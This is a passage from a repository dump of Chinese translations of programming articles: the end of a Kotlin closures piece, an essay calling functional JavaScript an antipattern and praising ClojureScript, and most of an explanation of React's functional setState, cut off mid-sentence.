`x` 可以指向一个列表，尽管列表的引用是不可变的，其中的值却可以被修改.\n\nJava 没有一个机制可以让函数去捕捉和响应超过它作用域的变量。Java 函数不能捕捉或者涵盖到它们环境的变化。\n\n让我们尝试在 Kotlin 中做相同的事。我们甚至不需要匿名内部类，因为在 Kotlin 中函数是「一等公民」：\n\n```\nvar x = 5\n\nview.setOnClickListener { println(x) }\n```\n\n这在 Kotlin 中是完全有效的。Kotlin 中的函数都是**闭包**。他们可以跟踪和响应其环境中的更新。\n\n第一次触发 click listener 时, 会打印 `5`。如果我们改变 `x` 的值比如令 `x = 9`，再次触发 click listener ，这次会打印`9`。\n\n#### 我们能利用闭包做什么？\n\n闭包有很多非常好的用例。无论何时，只要你想让业务逻辑响应环境中的状态变化，那就可以使用闭包。\n\n假设你在一个按钮上设置了点击 listener, 点击按钮会弹出对话框向用户显示一组消息。如果没有闭包，则每次消息更改时都必须使用新的消息列表并且初始化新的 listener。\n\n有了闭包，你可以在某个地方存储消息列表并把列表的引用传递给 listener，就像我们上面做的一样，这个 listener 就会一直展示最新的消息。\n\n**闭包也可以用来彻底替换对象。**这种用法经常出现在函数式编程语言的编程实践中，在那里你可能需要用到一些 OOP（面向对象编程）的编程方法，但是所使用的语言并不支持。\n\n我们来看个例子：\n\n```\nclass Dog {\n    private var weight: Int = 10\n\n    fun eat(food: Int) {\n        weight += food\n    }\n\n    fun workout(intensity: Int) {\n        weight -= intensity\n    }\n\n}\n```\n\n我有一条狗在喂食时体重增加，运动时体重减轻。我们能用闭包来描述相同的行为吗？\n\n```\nfun main(args: Array<String>) {\n   dog(Action.feed)(5)\n}\nval dog = { action: Action ->\n    var weight: Int = 10\nwhen (action) {\n        Action.feed -> { food: Int -> weight += food; println(weight) }\n        Action.workout -> { intensity: Int -> weight -= intensity; println(weight) }\n    }\n}\nenum class Action {\n    feed, workout\n}\n```\n\n`dog` 函数接受一个 `Action` 参数，这个 action 要么是给狗喂食，要么是让它去运动。当在 `main` 中调用 `dog(Action.feed)(5)`，结果将是 `15` 。 `dog` 函数接受了一个 `feed` 动作，并返回了另外一个真正去给狗喂食的函数。如果把 `5` 传递给这个返回的函数，它将把狗狗的体重增加到 `10 + 5 = 15` 并打印出来。\n\n> 所以结合闭包和高阶函数，我们没有使用 OOP 就有了对象。\n\n![](https://cdn-images-1.medium.com/max/800/1*qOekxkFDrnQQIekBjkouiQ.gif)\n\n可能你在真正写代码的时候不会这样做，但是知道可以这样做也是蛮有趣的。确实，闭包被称为[**可怜人的对象**](http://wiki.c2.com/?ClosuresAndObjectsAreEquivalent)。\n\n### 总结\n\n在许多情况下，相比于 OOP 高阶函数让我们可以更好地封装业务逻辑，我们可以将它们当做数据一样传递。闭包捕获其周围环境，帮助我们有效地使用高阶函数。\n\n在下一部分，我们将学习如何以函数式的方法去处理错误。\n\n* * *\n\n**如果你喜欢这篇文字，可以点击下面的 👏 按钮。我通知了他们每一个人，我也感激他们每一个人。**\n\n感谢 [Abhay Sood](https://medium.com/@abhaysood?source=post_page) 和 [s0h4m](https://medium.com/@s0h4m?source=post_page).\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/functional-programming-in-javascript-is-an-antipattern.md",
    "content": "\n> * 原文地址：[Functional programming in JavaScript is an antipattern](https://hackernoon.com/functional-programming-in-JavaScript-is-an-antipattern-58526819f21e)\n> * 原文作者：[Alex Dixon](https://hackernoon.com/@alexdixon)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-in-javascript-is-an-antipattern.md](https://github.com/xitu/gold-miner/blob/master/TODO/functional-programming-in-javascript-is-an-antipattern.md)\n> * 译者：[sunui](https://github.com/sunui)\n> * 校对者：[LeviDing](https://github.com/leviding)、[xekri](https://github.com/xekri)\n\n# JavaScript 的函数式编程是一种反模式\n\n---\n\n![](https://cdn-images-1.medium.com/max/1600/1*Y6orLTOgb6JFfjVdANVgCQ.png)\n\n## 其实 Clojure 更简单些\n\n写了几个月 Clojure 之后我再次开始写 JavaScript。就在我试着写一些很普通的东西的时候，我总会想下面这些问题：\n\n> “这是 ImmutableJS 变量还是 JavaScript 变量？”\n\n> “我如何 map 一个对象并且返回一个对象？”\n\n> “如果它是不可变的，要么使用 <这种语法> 的 <这个函数>，否则使用 <不同的语法和完全不同行为> 的 <同一个函数的另一个版本>”\n\n> “一个 React 组件的 state 可以是一个不可变的 Map 吗？”\n\n> “引入 lodash 了吗？”\n\n> “`fromJS` 然后 <写代码> 然后 `.toJS()`？”\n\n这些问题似乎没什么必要。但我猜想我已经思考这些问题上百万次了只是没有注意到，因为这些都是我知道的。\n\n当使用 React、Redux、ImmutableJS、lodash、和像 lodash/fp、ramda 这样的函数式编程库的任意组合写 JavaScript 的时候，我觉得没什么方法能避免这种思考。\n\n我需要一直把下面这些事记在脑海里：\n\n- lodash 的 API、Immutable 的 API、lodash/fp 的 API、ramda 的 API、还有原生 JS 的 API 或一些组合的 API\n- 处理 JavaScript 数据结构的可变编程技术\n- 处理 Immutable 数据结构的不可变编程技术\n- 使用 Redux 或 React 时，可变的 JavaScript 数据结构的不可变编程\n\n就算我能够记住这些东西，我依然会遇到上面那一堆问题。不可变数据、可变数据和某些情况下不能改变的可变数据。一些常用函数的签名和返回值也是这样，几乎每一行代码都有不同的情况要考虑。我觉得在 JavaScript 中使用函数式编程技术很棘手。\n\n按照惯例像 Redux 和 React 这种库需要不可变性。所以即使我不使用 ImmutableJS，我也得记得“这个地方不能改变”。在 JavaScript 中不可变的转换比它本身的使用更难。我感觉这门语言给我前进的道路下了一路坑。此外，JavaScript 没有像 Object.map 这样的基本函数。所以像[上个月 4300 多万人](https://www.npmjs.com/package/lodash)一样，我使用 lodash，它提供大量 JavaScript 自身没有的函数。不过它的 API 也不是友好支持不可变的。一些函数返回新的数值，而另一些会更改已经存在的数据。再次强调，花时间来区分它们是很不划算的。事实大概如此，想要处理 JavaScript，我需要了解 lodash、它的函数名称、它的签名、它的返回值。更糟糕的是，它的[“collection 在先， arguments 在后”](https://www.youtube.com/watch?v=m3svKOdZijA)的方式对函数式编程来说也并不理想。\n\n如果我使用 ramda 或者 lodash/fp 会好一些，可以很容易地组合函数并且写出清晰整洁的代码。但是它不能和 Immutable 数据结构一起使用。我可能还是要写一些参数集合在后而其他时候在前的代码。我必须知道更多的函数名、签名、返回值，并引入更多的基本函数。\n\n当我单独使用 ImmutableJS，一些事变得容易些了。Map.set 返回全新的值。一切都返回全新的值！这就是我想要的。不幸的是，ImmutableJS 也有一些纠结的事情。我不可避免地要处理两套不同的数据结构。所以我不得不清楚 `x` 是 Immutable 的还是 JavaScript 的。通过学习其 API 和整体思维方式，我可以使用 Immutable 在 2 秒内知道如何解决问题。当我使用原生 JS 时，我必须跳过该解决方案，用另一种方式来解决问题。就像 ramda 和 lodash 一样，有大量的函数需要我了解 —— 它们返回什么、它们的签名、它们的名称。我也需要把我所知的所有函数分成两类：一类用于 Immutable 的，另一类用于其它。这往往也会影响我解决问题的方式。我有时会不自主地想到柯里化和组合函数的解决方案。但不能和 ImmutableJS 一起使用。所以我跳过这个解决方案，想想其他的。\n\n当我全部想清楚以后，我才能尝试写一些代码。然后我转移到另一个文件，做一遍同样的事情。\n\n![](https://cdn-images-1.medium.com/max/1600/1*FVBc2DWB09sW6QJwMxm_fw.png)\n\nJavaScript 中的函数式编程。\n\n![](https://cdn-images-1.medium.com/max/1600/1*MVU4TWwrkRMpQlmgkU9TuQ.png)\n\n反模式的可视化。\n\n我已孤立无援，并且把 JavaScript 的函数式编程称为一种反模式。这是一条迷人之路却将我引入迷宫。它似乎解决了一些问题，最终却创造了更多的问题。重点是这些问题似乎没有更高层次的解决方案能避免我一次有又一次地处理问题。\n\n### 这件事的长期成本是什么?\n\n我没有确切的数字，但我敢说如果不必去想“在这里我可以用什么函数？”和“我可否改变这个变量”这样的问题，我可以更高效地开发。这些问题对我想要解决的问题或者我想要增加的功能没有任何意义。它们是语言本身造成的。我能想到避免这个问题的唯一办法就是在路的起点就不要走下去 —— 不要使用 ImmutableJS 、ImmutableJS 数据结构、Redux/React 概念中的不可变数据，以及 ramda 表达式和 lodash。总之就是写 JavaScript 不要使用函数式编程技术，它看似不是什么好的解决方案。\n\n如果你确定并同意我所说的（如果不同意，也很好），那么我认为值得花 5 分钟或一天甚至一周时间来考虑：保持在 JavaScript 路子上相比用一个不同的东西取代，耗费的长期成本是什么？\n\n这个所谓不同的东西对于我来说就是 Clojurescript。它是一门像 ES6 一样的 “compile-to-JS” 语言。大体上说，它是一种使用不同语法的 JavaScript。它的底层是被设计成用于函数式编程的语言，操作不可变的数据结构。对我来说，它比 JavaScript 更容易，更有前途。\n\n![](https://cdn-images-1.medium.com/max/1200/1*_bhmf-j96fW9qSuPm7yEsw.png)\n\n### Clojure/Clojurescript 是什么？\n\nClojurescript 类似 Clojure，除了它的宿主语言是 JavaScript 而不是 Java。它们的语法完全相同：如果你学 Clojurescript，其实你就在学 Clojure。这意味着如果你了解了 Clojurescript，你就可以写 JavaScript 和 Java。“30 亿的设备上运行着 Java”；我非常确定其他设备上运行着 JavaScript。\n\n和 JavaScript 一样，Clojure 和 Clojurescript 也是动态类型的。你可以 100% 地使用 Clojurescript 语言用 Node 写服务端的全栈应用。与单独编译成 JavaScript 的语言不同，你也可以选择写一个基于 Java 的 servrer 来支持多线程。\n\n作为一个普通的 JavaScript/Node 开发者，学习这门语言及其生态系统对我来说并不困难。\n\n### 是什么使得 Clojurescript 更简单？\n\n![](https://cdn-images-1.medium.com/max/1600/1*cxIhT4wHooj6Cl50sryKIA.gif)\n\n在编辑器中执行任意你想要执行的代码。\n1. **你可以在编辑器中一键执行任何代码。** 的确如此，你可以在编辑器中输入任何你想写的代码，选中它（或者把光标放在上面）然后运行并查看结果。你可以定义函数，然后用你想用的参数调用它。你可以在应用运行的时候做这些事。所以，如果你不知道一些东西如何运作，你可以在你的编辑器的 REPL 里求值，看看会发生什么。\n2. **函数可以作用于数组和对象。** Map、reduce、filter 等对数组和对象的作用都相同。设计就是如此。我们毋须再纠结于 `map` 对数组和对象作用的不同之处。\n3. **不可变的数据结构。** 所有 Clojurescript 数据结构都是不可变的。因此你再也不必纠结一些东西是否可变了。你也不需要切换编程范式，从可变到不可变。你完全在不可变数据结构的领地上。\n4. **一些基本函数是语言本身包含的。** 像 map、filter、reduce、compose 和[很多其他](https://clojure.github.io/clojure/)函数都是核心语言的一部分，不需要外界引入。因此你的脑子里不必记着 4 种不同版本的“map”了（Array.map、lodash.map、ramda.map、Immutable.map）。你只需要知道一个。\n5. **它很简洁。** 相对于其他任何编程语言，它只需要短短几行的代码就能表达你的想法。（通常少得多）\n6. **函数式编程。** Clojurescript 是一门彻底的函数式编程语言 —— 支持隐式返回声明、函数是一等公民、lambda 表达式等等。\n7. **使用 JavaScript 中所需的任何内容。** 你可以使用 JavaScript 的一切以及它的生态系统，从 `console.log` 到 npm 库都可以。\n8. **性能。** Clojurescript 使用 Google Closure 编译器来优化输出的 JavaScript。Bundle 体积小到极致。用于生产的打包过程不需要从设置优化到 `:advanced` 的复杂配置。\n9. **可读的库代码。** 有时候了解“这个库的功能是干嘛的？”很有用。当我使用 JavaScript 中的“跳转到定义处”，我通常都会看到被压缩或错位的源代码。Clojure 和 Clojurescript 的库都直接被显示成写出来的样子，因此不需离开你的编辑器去看一些东西如何工作就很简单，因为你可以直接阅读源码。\n10. **是一种 LISP 方言。** 很难列举出这方面的好处，因为太多了。我喜欢的一点是它的公式化，（有这么一种模式可以依靠）代码是用语言的数据结构来表达的。（这使得元编程很容易）。Clojure 不同于 LISP 因为它并不是 100% 的 `()`。它的代码和数据结构中可以使用 `[]` 和 `{}`，就像大多数编程语言那样。\n11. **元编程。** Clojurescript 允许你编写生成代码的代码。这一点有我不想掩盖的巨大内涵。其中之一是你可以高效地扩展语言本身。这是一个出自 [Clojure for the Brave and True](http://www.braveclojure.com/writing-macros/) 的例子：\n\n```\n(defmacro infix\n  [infixed]\n  (list (second infixed) (first infixed) (last infixed)))\n(infix (1 + 1))\n=> 2\n(macroexpand '(infix (1 + 1)))\n=> (+ 1 1)\n; 这个宏把它传入 Clojure，Clojure 可以正确执行，因为是 Clojure 的原生语法。\n```\n\n### 为什么它并不流行？\n\n既然说它这么棒，可它怎么不上天呢？有人指出它已经很流行了，它只是不如 lodash、React、Redux 等等那么流行而已。但既然它更好，不应该和它们一样流行吗？为什么偏爱函数式编程、不可变性和 React 的 JS 开发者还没有迁移到 Clojurescript？\n\n**因为缺少工作机会吗？** Clojure 可以编译成 JavaScript 和 Java。它实际上也可以编译成 C#。因此大量的 JavaScript 工作都可以当作 Clojurescript 工作。它是一种函数式语言，用于为所有编译目标完成所有的任务。先不论它的价值如何体现，2017 StackOverflow 的调查表明 [Clojure 开发者的薪资水平是所有语言中全球平均最高的](http://www.techrepublic.com/article/what-are-the-highest-paid-jobs-in-programming-the-top-earning-languages-in-2017/)。\n\n**因为 JS 开发者很懒吗？** 并不是。正如我在上面所展示的，我们做了大量的工作。有个词叫 [JavaScript 疲劳](https://medium.com/@ericclemmons/javascript-fatigue-48d4011b6fc4)，你可能已经听说过了。\n\n**我们很抗拒，不想学点新东西吗？** 并不是。 [我们已经因采用新技术而臭名昭著。](https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f)\n\n**因为缺乏熟悉的框架和工具吗？** 这感觉上可能是个原因，但 Javascript 中有的东西， Clojurescript 都有与之对应的： [re-frame](https://github.com/Day8/re-frame) 对应 Redux、[reagent](https://github.com/reagent-project/reagent) 对应 React、[figwheel](https://github.com/bhauman/lein-figwheel) 对应 Webpack/热加载、[leiningen](https://github.com/technomancy/leiningen) 对应 yarn/npm、Clojurescript 对应 Underscore/Lodash。\n\n**是因为括号的问题使得这门语言太难写了吗？** 这方面也许谈的还不够多，但[我们不必自己来区分圆括号方括号](https://shaunlebron.github.io/parinfer/) 。基本上，Parinfer 使得 Clojure 成为了空格语言。\n\n**因为在工作中很难使用？** 可能是吧。它是一种新技术，就像 React 和 Redux 曾经那样，在某些时候也是很难推广的。即使也没什么技术限制 ——  Clojurescript 集成到现有代码库和集成 React 的方式是类似的。你可以把 Clojurescript 加入到已经存在的代码库中，每次重写一个文件的旧代码，新代码依然可以和未更改的旧代码交互。\n\n**没有足够受欢迎？** 很不幸，我想这就是它的原因。我使用 JavaScript 一部分原因就是它拥有庞大的社区。Clojurescript 太小众了。我使用 React 的部分原因是它是由 Facebook 维护的。而 Clojure 的维护者是[花大量时间思考的留着长发的家伙](https://avatars2.githubusercontent.com/u/34045?v=3&amp;s=400)。\n\n有数量上的劣势，我认了。但“人多势众”否决了所有其他可能的因素。\n\n假设有一条路通向 100 美元，它很不受欢迎，而另一条路通向 10 美元，它极其受欢迎，我会选择受欢迎的那条路吗？\n\n恩，也许会的吧！那里有成功的先例。它一定比另一条路安全，因为更多的人选择了它。他们一定不会遇到什么可怕的事。而另一条路听起来美好，但我确定那一定是个陷阱。如果它像看起来那么美好，那么它就是最受欢迎的那条路了。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Y6orLTOgb6JFfjVdANVgCQ.png)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/functional-setstate-is-the-future-of-react.md",
    "content": "> * 原文地址：[Functional setState is the future of React](https://medium.freecodecamp.com/functional-setstate-is-the-future-of-react-374f30401b6b#.p2n552w6l)\n> * 原文作者：[Justice Mba](https://medium.freecodecamp.com/@Daajust)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[reid3290](https://github.com/reid3290)\n> * 校对者：[sunui](https://github.com/sunui)，[imink](https://github.com/imink)\n\n# React 未来之函数式 setState\n\n![](https://cdn-images-1.medium.com/max/2000/1*K8A3aXts5rTCHYRcdHIR6g.jpeg)\n\nReact 使得函数式编程在 JavaScript 领域流行了起来，这驱使大量框架采用 React 所推崇的基于组件的编程模式，函数式编程热正在大范围涌向 web 开发领域。\n\n[![](https://ww3.sinaimg.cn/large/006tNc79gy1fdtapftrozj312i0fktao.jpg)](https://twitter.com/bluxte/status/819915171929948162)\n\n但是 React 团队却还不“消停”，他们持续深耕，从 React（已经超神了！）中发掘出更多函数式编程的宝藏。\n\n因此本文将展示深藏在 React 中的又一函数式“宝藏” —— **函数式（functional）setState**！\n\n好吧，名字其实是我乱编的，而且这个技术也称不上是**新事物**或者是个秘密。这一模式内建于 React 中，但是只有少数 React 深耕者才知道，而且从未有过正式名称 —— 不过现在它有了，那就是**函数式 setState**！\n\n正如 [Dan Abramov](https://medium.com/@dan_abramov) 所言，在**函数式 setState** 模式中，“组件 state 变化的声明可以和组件类本身独立开来”。\n\n这？\n\n### 你已经知道的是...\n\nReact 是一个基于组件的 UI 库，组件基本上可以看作是一个接受某些属性然后返回 UI 元素的函数。\n\n    function User(props) {\n      return (\n        <div>A pretty user</div>\n      );\n    }\n\n组件可能需要持有并管理其 state。在这种情况下，一般将组件编写为一个类，然后在该类的 `constructor` 函数中初始化 state：\n\n    class User {\n      constructor () {\n      this.state = {\n          score : 0\n        };\n      }\n\n      render () {\n        return (\n          <div>This user scored **{this.state.score}**</div>\n        );\n      }\n    }\n\nReact 提供了一个用于管理 state 的特殊函数 —— `setState()`，其用法如下：\n\n    class User {\n      ...\n\n      increaseScore () {\n      this.setState({score : this.state.score + 1});\n      }\n\n      ...\n    }\n\n注意 `setState()` 的作用机制：你传递给它一个**对象**，该对象含有 state 中你想要更新的部分。换句话说，该对象的键（keys）和组件 state 中的键相对应，然后 `setState()` 通过将该对象合并到 state 中来更新（或者说 *sets*）state。因此称为 “set-State”。\n\n### 你可能还不知道的是...\n\n记住 `setState()` 的作用机制了吗？如果我告诉你说，`setState()` 不仅能接受一个对象，还能接受一个**函数**作为参数呢？\n\n没错，`setState()` 确实可以接受一个函数作为参数。该函数接受该组件**前一刻**的 state 以及**当前**的 props 作为参数，计算和返回**下一刻**的 state。如下所示：\n\n\n    this.setState(function (state, props) {\n     return {\n      score: state.score - 1\n     }\n    });\n\n注意 `setState()` 本身是一个函数，而且我们传递了另一个函数给它作为参数（函数式编程，**函数式 setState**）。乍一看可能觉得这样写挺丑陋的，set-state 需要的步骤太多了。那为什么还要这样写呢？\n\n### 为什么传递一个函数给 setState？\n\n理由是，[state 的更新可能是异步的](https://facebook.github.io/react/docs/state-and-lifecycle.html#state-updates-may-be-asynchronous)。\n\n思考一下调用 `setState()` 时[发生了什么](https://facebook.github.io/react/docs/reconciliation.html)。React 首先会将你传递给 `setState()` 的参数对象合并到当前 state 对象中，然后会启动所谓的 **reconciliation**，即创建一个新的 React Element tree（UI 层面的对象表示），和之前的 tree 作比较，基于你传递给 `setState()` 的对象找出发生的变化，最后更新 DOM。\n\n呦！工作很多嘛！实际上，这还只是精简版总结。但一定要相信：\n\n> React 不会仅仅简单地 “set-state”。\n\n考虑到所涉及的工作量，调用 `setState()` 并不一定会**即时**更新 state。\n\n> 考虑到性能问题，React 可能会将多次 `setState()` 调用批处理（batch）为一次 state 的更新。\n\n这又意味着什么呢？\n\n首先，**“多次 `setState()` 调用”** 的意思是说在某个函数中调用了多次 `setState()`，例如：\n\n```\n    ...\n\n    state = {score : 0};\n\n    // 多次 setState() 调用\n    increaseScoreBy3 () {\n      this.setState({score : this.state.score + 1});\n      this.setState({score : this.state.score + 1});\n      this.setState({score : this.state.score + 1});\n    }\n\n    ...\n```\n\n面对这种 **多次 `setState()` 调用** 的情况，为了避免重复做上述大量的工作，React 并不会真地**完整调用三次** \"set-state\"；相反，它会机智地告诉自己：“哼！我才不要‘愚公移山’三次呢，每次还得更新部分 state。不行，我得找个‘背包’，把这些部分更新打包装好，一次性搞定。”朋友们，这就是所谓的**批处理**啊！\n\n记住传递给 `setState()` 的纯粹是个对象。现在，假设 React 每次遇到 **多次 `setState()` 调用**都会作上述批处理过程，即将每次调用 `setState()` 时传递给它的所有对象合并为一个对象，然后用这个对象去做真正的 `setState()`。\n\n在 JavaScript 中，对象合并可以这样写：\n\n    const singleObject = Object.assign(\n      {},\n      objectFromSetState1,\n      objectFromSetState2,\n      objectFromSetState3\n    );\n\n这种写法叫作 **object 组合（composition）**。\n\n在 JavaScript 中，对象“合并（merging）”或者叫对象**组合（composing）**的工作机制如下：如果传递给 `Object.assign()` 的多个对象有相同的键，那么**最后一个**对象的值会“胜出”。例如：\n\n    const me  = {name : \"Justice\"},\n          you = {name : \"Your name\"},\n          we  = Object.assign({}, me, you);\n\n    we.name === \"Your name\"; //true\n\n    console.log(we); // {name : \"Your name\"}\n\n因为 `you` 是最后一个合并进 `we` 中的，因此 `you` 的 `name` 属性的值 “Your name” 会覆盖 `me` 的 `name` 属性的值。因此 `we` 的 `name` 属性的值最终为 “Your name”，所以说 `you` 胜了！\n\n综上所述，如果你多次调用 `setState()` 函数，每次都传递给它一个对象，那么 React 就会将这些对象**合并**。也就是说，基于你传进来的多个对象，React 会**组合**出一个新对象。如果这些对象有同名的属性，那么就会取**最后一个**对象的属性值，对吧？\n\n这意味着，上述 `increaseScoreBy3` 函数的最终结果会是 1 而不是 3。因为 React 并不会按照 `setState()` 的调用顺序**即时**更新 state，而是首先会将所有对象合并到一起，得到 `{score : this.state.score + 1}`，然后仅用该对象进行一次 “set-state”，即 `User.setState({score : this.state.score + 1}`。\n\n需要搞清楚的是，给 `setState()` 传递对象本身是没有问题的，问题出在当你想要基于之前的 state 计算出下一个 state 时还给 `setState()` 传递对象。因此可别这样做了，这是不安全的！\n\n> 因为 **`this.props`** 和 **`this.state`** 可能是异步更新的，你不能依赖这些值计算下一个 state。\n\n下面 [Sophia Shoemaker](https://medium.com/@shopsifter) 写的一个例子展示了上述问题，细细把玩一番吧，留意其中好坏两种解决方案。\n\n[代码链接](http://codepen.io/mrscobbler/pen/JEoEgN)\n\n### 让函数式 setState 来拯救你\n\n如果你还未曾把玩上面的例子，我还是强烈建议你玩一玩，因为这有利于你理解本文的核心概念。\n\n在把玩上述例子的时候，你肯定注意到了 **setState** 解决了我们的问题。但究竟是如何解决的呢？\n\n让我们请教一下 React 界的 Oprah（译者注：非知名脱口秀主持人）—— Dan。\n\n[![](https://ww3.sinaimg.cn/large/006tNc79gy1fdtasm2y6fj313o0u6q6h.jpg)](https://twitter.com/dan_abramov/status/824309659775467527?ref_src=twsrc%5Etfw)\n\n注意看他给出的答案，当你编写函数式 setState 的时候，\n\n> 更新操作会形成一个任务队列，稍后会按其调用顺序依次执行。\n\n因此，当面对**多次`函数式 setState()` 调用**时，React 并不会将对象合并（显然根本没有对象让它合并），而是会**按调用顺序**将这些函数**排列**起来。\n\n之后，React 会依次调用**队列**中的函数，传递给它们**前一刻**的 state —— 如果当前执行的是队列中的第一个函数式 `setState()` ，那么就是在该函数式 `setState()` 调用之前的 state；否则就是最近一次函数式 `setState()` 调用并更新了 state 之后的 state。通过这种机制，React 达到 state 更新的目的。\n\n话说回来，我还是觉得代码更有说服力。只不过这次我们会“伪造”点东西，虽然这不是 React 内部真正的做法，但也基本是这么个意思。\n\n还有，考虑到代码简洁问题，下面会使用 ES6，当然你也可以用 ES5 重写一下。\n\n首先，创建一个组件类。在这个类里，创建一个**伪造**的 `setState()` 方法。该组件会使用 `increaseScoreBy3()` 方法来多次调用函数式 setState。最后，会仿照 React 的做法实例化该类。\n\n    class User{\n      state = {score : 0};\n\n      //“伪造” setState\n      setState(state, callback) {\n        this.state = Object.assign({}, this.state, state);\n        if (callback) callback();\n      }\n\n      // 多次函数式 setState 调用\n      increaseScoreBy3 () {\n        this.setState( (state) => ({score : state.score + 1}) ),\n        this.setState( (state) => ({score : state.score + 1}) ),\n        this.setState( (state) => ({score : state.score + 1}) )\n      }\n    }\n\n    const Justice = new User();\n\n注意 setState 还有一个可选的参数 —— 一个回调函数，如果传递了这个参数，那么 React 就会在 state 更新后调用它。\n\n现在，当用户调用 `increaseScoreBy3()` 后，React 会将多次函数式 setState 调用排成一个队列。本文旨在阐明为什么函数式 setState 是安全的，因此不会在此模拟上述逻辑。但可以想象，所谓“队列化”的处理结果应该是一个函数数组，类似于：\n\n    const updateQueue = [\n      (state) => ({score : state.score + 1}),\n      (state) => ({score : state.score + 1}),\n      (state) => ({score : state.score + 1})\n    ];\n\n最后模拟更新过程：\n\n    // 按序递归式更新 state\n    function updateState(component, updateQueue) {\n      if (updateQueue.length === 1) {\n        return component.setState(updateQueue[0](component.state));\n      }\n\n    return component.setState(\n        updateQueue[0](component.state),\n        () =>\n         updateState( component, updateQueue.slice(1))\n      );\n    }\n\n    updateState(Justice, updateQueue);\n\n诚然，这些代码并不能称之为优雅，你肯定能写得更好。但核心概念是，使用**函数式 setState**，你可以传递一个函数作为其参数，当执行该函数时，React 会将更新后的 state 复制一份并传递给它，这便起到了更新 state 的作用。基于上述机制，函数式 setState 便可基于**前一刻的 state** 来更新当前 state。\n\n下面是这个例子的完整代码，请细细把玩以充分理解上述概念（或许还可以改得更优雅些）。\n\n[![](https://ww3.sinaimg.cn/large/006tNc79gy1fdtatkotz1j314g0ao3zp.jpg)](http://jsbin.com/najewe/edit?js,console)\n\n一番把玩过后，让我们来弄清为何将函数式 setState 称之为“宝藏”。\n\n### React 最为深藏不露的秘密\n\n至此，我们已经深入探讨了为什么多次函数式 setState 在 React 中是安全的。但是我们还没有给函数式 setState 下一个完整的定义：“独立于组件类之外声明 state 的变化”。\n\n过去几年，setting-state 的逻辑（即传递给 `setState()` 的对象或函数）一直都存在于组件类内部，这更像是命令式（imperative）而非 声明式（declarative）。（译者注：imperative 和 declarative 的区别参见 [stackoverflow上的问答](http://stackoverflow.com/questions/1784664/what-is-the-difference-between-declarative-and-imperative-programming)）\n\n不过，今天我将向你展示新出土的宝藏 —— **React 最为深藏不露的秘密**：\n\n[![](https://ww4.sinaimg.cn/large/006tNc79gy1fdtau6cvhbj31620qmn0o.jpg)](https://twitter.com/dan_abramov/status/824308413559668744?ref_src=twsrc%5Etfw)\n\n感谢 [Dan Abramov](https://medium.com/@dan_abramov)！\n\n这就是函数式 setState 的强大之处 —— 在组件类**外部**声明 state 的更新逻辑，然后在组件类**内部**调用之。\n\n    // 在组件类之外\n    function increaseScore (state, props) {\n      return {score : state.score + 1}\n    }\n\n    class User{\n      ...\n\n    // 在组件类之内\n      handleIncreaseScore () {\n        this.setState(increaseScore)\n      }\n\n      ...\n    }\n\n这就叫做 declarative！组件类不用再关心 state 该如何更新，它只须声明它想要的更新**类型**即可。\n\n为了充分理解这样做的优点，不妨设想如下场景：你有一些很复杂的组件，每个组件的 state 都由很多小的部分组成，基于 action 的不同，你必须更新 state 的不同部分，每一个更新函数都有很多行代码，并且这些逻辑都存在于组件内部。不过有了函数式 setState，再也不用面对上述问题了！\n\n此外，我个人偏爱小而美的模块；如果你和我一样，你就会觉得现在这模块略显臃肿了。基于函数式 setState，你就可以将 state 的更新逻辑抽离为一个模块，然后在组件中引入和使用该模块。\n\n    import {increaseScore} from \"../stateChanges\";\n\n    class User{\n      ...\n\n      // 在组件类之内\n      handleIncreaseScore () {\n        this.setState(increaseScore)\n    }\n\n      ...\n    }\n\n而且你还可以在其他组件中复用 increaseScore 函数 —— 只须引入模块即可。\n\n函数式 setState 还能用于何处呢？\n\n简化测试！\n\n[![](https://ww1.sinaimg.cn/large/006tNc79gy1fdtav1aeajj313s0yujvy.jpg)](https://twitter.com/dan_abramov/status/824310320399319040/photo/1?ref_src=twsrc%5Etfw)\n\n你还可以传递**额外**的参数用于计算下一个 state（这让我脑洞大开...#funfunFunction）。\n\n[![](https://ww1.sinaimg.cn/large/006tNc79gy1fdtavhi1ofj3132108789.jpg)](https://twitter.com/dan_abramov/status/824314363813232640?ref_src=twsrc%5Etfw)\n\n更多精彩，敬请期待...\n\n### [React 未来式](https://github.com/reactjs/react-future/tree/master/07%20-%20Returning%20State)\n\n![](https://cdn-images-1.medium.com/max/1600/0*uInBa_PPwz5aLo0j.jpg)\n\n最近几年，React 团队一直都致力于更好地实现  [stateful functions](https://github.com/reactjs/react-future/blob/master/07%20-%20Returning%20State/01%20-%20Stateful%20Functions.js)。\n\n函数式 setState 看起来就是这个问题的正确答案（也许吧）。\n\nHey, 